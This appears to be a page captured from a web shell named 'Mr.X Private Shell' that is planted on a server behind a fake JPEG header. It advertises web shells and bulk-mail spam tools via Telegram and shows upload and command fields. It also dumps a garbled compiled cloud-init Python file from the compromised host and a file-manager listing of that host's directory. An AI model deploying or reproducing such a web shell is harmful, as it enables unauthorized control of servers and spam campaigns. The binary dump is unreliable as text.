����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

'�Dg�!�@s�dZddlZddlZddlZddlZddlmZmZmZm	Z	e�
e�ZdZ
ddgZiddid	�Zd
d�ZGdd
�d
ej�Zdd�ZeejejffgZdd�ZdS)zb
This file contains code used to gather the user data passed to an
instance on RHEVm and vSphere.
�N)�dmi�sources�subp�utilz/etc/sysconfig/cloud-infoZmodprobeZfloppyi�Z	localhost)zblock-device-mappingzinstance-idzlocal-hostnameZ	placementcCsp|d}|d}zt�|���}WnHtyjzt�|���}Wn"tydt�td�YYdS0Yn0|S)an
    Description:
        This callback will be applied by util.mount_cb() on the mounted
        file.

        Deltacloud file name contains deltacloud. Those not using
        Deltacloud but instead instrumenting the injection, could
        drop deltacloud from the file name.

    Input:
        mount_dir - Mount directory

    Returns:
        User Data

    z/deltacloud-user-data.txtz/user-data.txtz Failed accessing user data file.N)r�load_text_file�strip�IOError�logexc�LOG)Z	mount_dirZdeltacloud_user_data_fileZuser_data_fileZ	user_data�r�H/usr/lib/python3.9/site-packages/cloudinit/sources/DataSourceAltCloud.py�read_user_data_callback&sr
cs`eZdZdZdd�Zedd��fdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Z�Z
S)�DataSourceAltCloudZAltCloudcCs*tj�||||�d|_d|_tj|_dS)N)�/zfile://)r�
DataSource�__init__�seedZsupported_seed_starts�METADATA_UNKNOWN�source)�selfZsys_cfgZdistro�pathsrrrrLszDataSourceAltCloud.__init__N)�ci_pkl_version�returncs"t��|�t|d�stj|_dS)Nr)�super�	_unpickle�hasattrrrr)rr��	__class__rrrRs
zDataSourceAltCloud._unpicklecCstj�|�}d||jfS)Nz%s [seed=%s])rr�__str__r)r�rootrrrrWszDataSourceAltCloud.__str__cCs�tj�t�rJzt�t�����}Wn"tyDt�	t
dt�YdS0|St�d�}|s\dS|��}|�
d�rrdS|�
d�r�dSdS)at
        Description:
            Get the type for the cloud back end this instance is running on
            by examining the string returned by reading either:
                CLOUD_INFO_FILE or
                the dmi data.

        Input:
            None

        Returns:
            One of the following strings:
            'RHEV', 'VSPHERE' or 'UNKNOWN'

        z'Unable to access cloud info file at %s.ZUNKNOWNzsystem-product-name�RHEVZVMWARE�VSPHERE)�os�path�exists�CLOUD_INFO_FILErrr�upperrr	r
rZ
read_dmi_data�
startswith)r�
cloud_typeZsystem_nameZsys_namerrr�get_cloud_type[s*��


z!DataSourceAltCloud.get_cloud_typecCsbt�d�|��}t�dt|��d|vr8|��rRdSnd|vrN|��rRdSndSt�td�dS)a�
        Description:
            User Data is passed to the launching instance which
            is used to perform instance configuration.

            Cloud providers expose the user data differently.
            It is necessary to determine which cloud provider
            the current instance is running on to determine
            how to access the user data. Images built with
            image factory will contain a CLOUD_INFO_FILE which
            contains a string identifying the cloud provider.

            Images not built with Imagefactory will try to
            determine what the cloud provider is based on system
            information.
        zInvoked get_data()zcloud_type: %sr Tr!FzFailed accessing user data.)r
�debugr)�str�user_data_rhevm�user_data_vsphererr	�rr(rrr�	_get_data�s
zDataSourceAltCloud._get_datacCs(|��}|dkrd|_d|��|jfS)z(Return the subplatform metadata details.r �/dev/fd0z%s (%s))r)r�lowerr.rrr�_get_subplatform�sz#DataSourceAltCloud._get_subplatformc
Csd}z
t�Wn6tjyD}zt�td|�WYd}~dSd}~00d}ztj|dd�Wn:tjtfy�}zt�td|�WYd}~dSd}~00zt�|t	�}WnTty�}z|j
t
jkrƂWYd}~n,d}~0tj�y�t�td|�Yn0||_
t|_|�rd	SdSdS)
a�
        RHEVM specific userdata read

         If on RHEV-M the user data will be contained on the
         floppy device in file <user_data_file>
         To access it:
           modprobe floppy

           Leverage util.mount_cb to:
               mkdir <tmp mount dir>
               mount /dev/fd0 <tmp mount dir>
               The call back passed to util.mount_cb will do:
                   read <tmp mount dir>/<user_data_file>
        NzFailed modprobe: %sFr0�)r$�timeoutzFailed udevadm_settle: %s
�-Failed to mount %s when looking for user dataT)�modprobe_floppyrZProcessExecutionErrorrr	r
Zudevadm_settle�OSError�mount_cbr
�errno�ENOENT�MountFailedError�userdata_raw�META_DATA_NOT_SUPPORTED�metadata)r�
return_str�eZ
floppy_dev�errrrrr,�s8
�
z"DataSourceAltCloud.user_data_rhevmcCs�d}t�d�}|D]x}z t�|t�}|r4||_Wq�Wqtyh}z|jtjkrT�WYd}~qd}~0tjy�t�	t
d|�Yq0q||_t|_
|r�dSdSdS)a�
        vSphere specific userdata read

        If on vSphere the user data will be contained on the
        cdrom device in file <user_data_file>
        To access it:
           Leverage util.mount_cb to:
               mkdir <tmp mount dir>
               mount /dev/fd0 <tmp mount dir>
               The call back passed to util.mount_cb will do:
                   read <tmp mount dir>/<user_data_file>
        NzLABEL=CDROMr5TF)rZfind_devs_withr8r
rr7r9r:r;r	r
r<r=r>)rr?Z
cdrom_listZ	cdrom_devrArrrr-�s,

�z$DataSourceAltCloud.user_data_vsphere)�__name__�
__module__�__qualname__Zdsnamer�intrrr)r/r2r,r-�
__classcell__rrrrrHs+'6rcCs&t�t�\}}t�dd�t�|�dS)NzCommand: %s
Output%s� )r�CMD_PROBE_FLOPPYr
r*�join)�outZ_errrrrr6sr6cCst�|t�S)N)rZlist_from_depends�datasources)Zdependsrrr�get_datasource_list"srL)�__doc__r9Zloggingr"Zos.pathZ	cloudinitrrrrZ	getLoggerrBr
r%rHr=r
rrr6ZDEP_FILESYSTEMZDEP_NETWORKrKrLrrrr�<module>
s(
�"L
�

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-39.opt-1.pyc File 8.32 KB 0644
DataSourceAkamai.cpython-39.pyc File 8.32 KB 0644
DataSourceAliYun.cpython-39.opt-1.pyc File 12.02 KB 0644
DataSourceAliYun.cpython-39.pyc File 12.02 KB 0644
DataSourceAltCloud.cpython-39.opt-1.pyc File 7.04 KB 0644
DataSourceAltCloud.cpython-39.pyc File 7.04 KB 0644
DataSourceAzure.cpython-39.opt-1.pyc File 50.34 KB 0644
DataSourceAzure.cpython-39.pyc File 50.34 KB 0644
DataSourceBigstep.cpython-39.opt-1.pyc File 1.92 KB 0644
DataSourceBigstep.cpython-39.pyc File 1.92 KB 0644
DataSourceCloudCIX.cpython-39.opt-1.pyc File 4.68 KB 0644
DataSourceCloudCIX.cpython-39.pyc File 4.68 KB 0644
DataSourceCloudSigma.cpython-39.opt-1.pyc File 3.7 KB 0644
DataSourceCloudSigma.cpython-39.pyc File 3.7 KB 0644
DataSourceCloudStack.cpython-39.opt-1.pyc File 8.2 KB 0644
DataSourceCloudStack.cpython-39.pyc File 8.2 KB 0644
DataSourceConfigDrive.cpython-39.opt-1.pyc File 8.37 KB 0644
DataSourceConfigDrive.cpython-39.pyc File 8.37 KB 0644
DataSourceDigitalOcean.cpython-39.opt-1.pyc File 3.79 KB 0644
DataSourceDigitalOcean.cpython-39.pyc File 3.79 KB 0644
DataSourceEc2.cpython-39.opt-1.pyc File 27.39 KB 0644
DataSourceEc2.cpython-39.pyc File 27.39 KB 0644
DataSourceExoscale.cpython-39.opt-1.pyc File 5.88 KB 0644
DataSourceExoscale.cpython-39.pyc File 5.88 KB 0644
DataSourceGCE.cpython-39.opt-1.pyc File 9.68 KB 0644
DataSourceGCE.cpython-39.pyc File 9.77 KB 0644
DataSourceHetzner.cpython-39.opt-1.pyc File 3.89 KB 0644
DataSourceHetzner.cpython-39.pyc File 3.89 KB 0644
DataSourceIBMCloud.cpython-39.opt-1.pyc File 13.47 KB 0644
DataSourceIBMCloud.cpython-39.pyc File 13.47 KB 0644
DataSourceLXD.cpython-39.opt-1.pyc File 13.61 KB 0644
DataSourceLXD.cpython-39.pyc File 13.61 KB 0644
DataSourceMAAS.cpython-39.opt-1.pyc File 11.65 KB 0644
DataSourceMAAS.cpython-39.pyc File 11.65 KB 0644
DataSourceNWCS.cpython-39.opt-1.pyc File 4.05 KB 0644
DataSourceNWCS.cpython-39.pyc File 4.05 KB 0644
DataSourceNoCloud.cpython-39.opt-1.pyc File 9.92 KB 0644
DataSourceNoCloud.cpython-39.pyc File 9.92 KB 0644
DataSourceNone.cpython-39.opt-1.pyc File 1.38 KB 0644
DataSourceNone.cpython-39.pyc File 1.38 KB 0644
DataSourceOVF.cpython-39.opt-1.pyc File 9.24 KB 0644
DataSourceOVF.cpython-39.pyc File 9.24 KB 0644
DataSourceOpenNebula.cpython-39.opt-1.pyc File 12.24 KB 0644
DataSourceOpenNebula.cpython-39.pyc File 12.24 KB 0644
DataSourceOpenStack.cpython-39.opt-1.pyc File 7.91 KB 0644
DataSourceOpenStack.cpython-39.pyc File 7.91 KB 0644
DataSourceOracle.cpython-39.opt-1.pyc File 14.58 KB 0644
DataSourceOracle.cpython-39.pyc File 14.58 KB 0644
DataSourceRbxCloud.cpython-39.opt-1.pyc File 7.39 KB 0644
DataSourceRbxCloud.cpython-39.pyc File 7.39 KB 0644
DataSourceScaleway.cpython-39.opt-1.pyc File 10.9 KB 0644
DataSourceScaleway.cpython-39.pyc File 10.9 KB 0644
DataSourceSmartOS.cpython-39.opt-1.pyc File 24.78 KB 0644
DataSourceSmartOS.cpython-39.pyc File 24.78 KB 0644
DataSourceUpCloud.cpython-39.opt-1.pyc File 4.4 KB 0644
DataSourceUpCloud.cpython-39.pyc File 4.4 KB 0644
DataSourceVMware.cpython-39.opt-1.pyc File 23.33 KB 0644
DataSourceVMware.cpython-39.pyc File 23.33 KB 0644
DataSourceVultr.cpython-39.opt-1.pyc File 3.54 KB 0644
DataSourceVultr.cpython-39.pyc File 3.54 KB 0644
DataSourceWSL.cpython-39.opt-1.pyc File 9.92 KB 0644
DataSourceWSL.cpython-39.pyc File 9.92 KB 0644
__init__.cpython-39.opt-1.pyc File 30.92 KB 0644
__init__.cpython-39.pyc File 30.92 KB 0644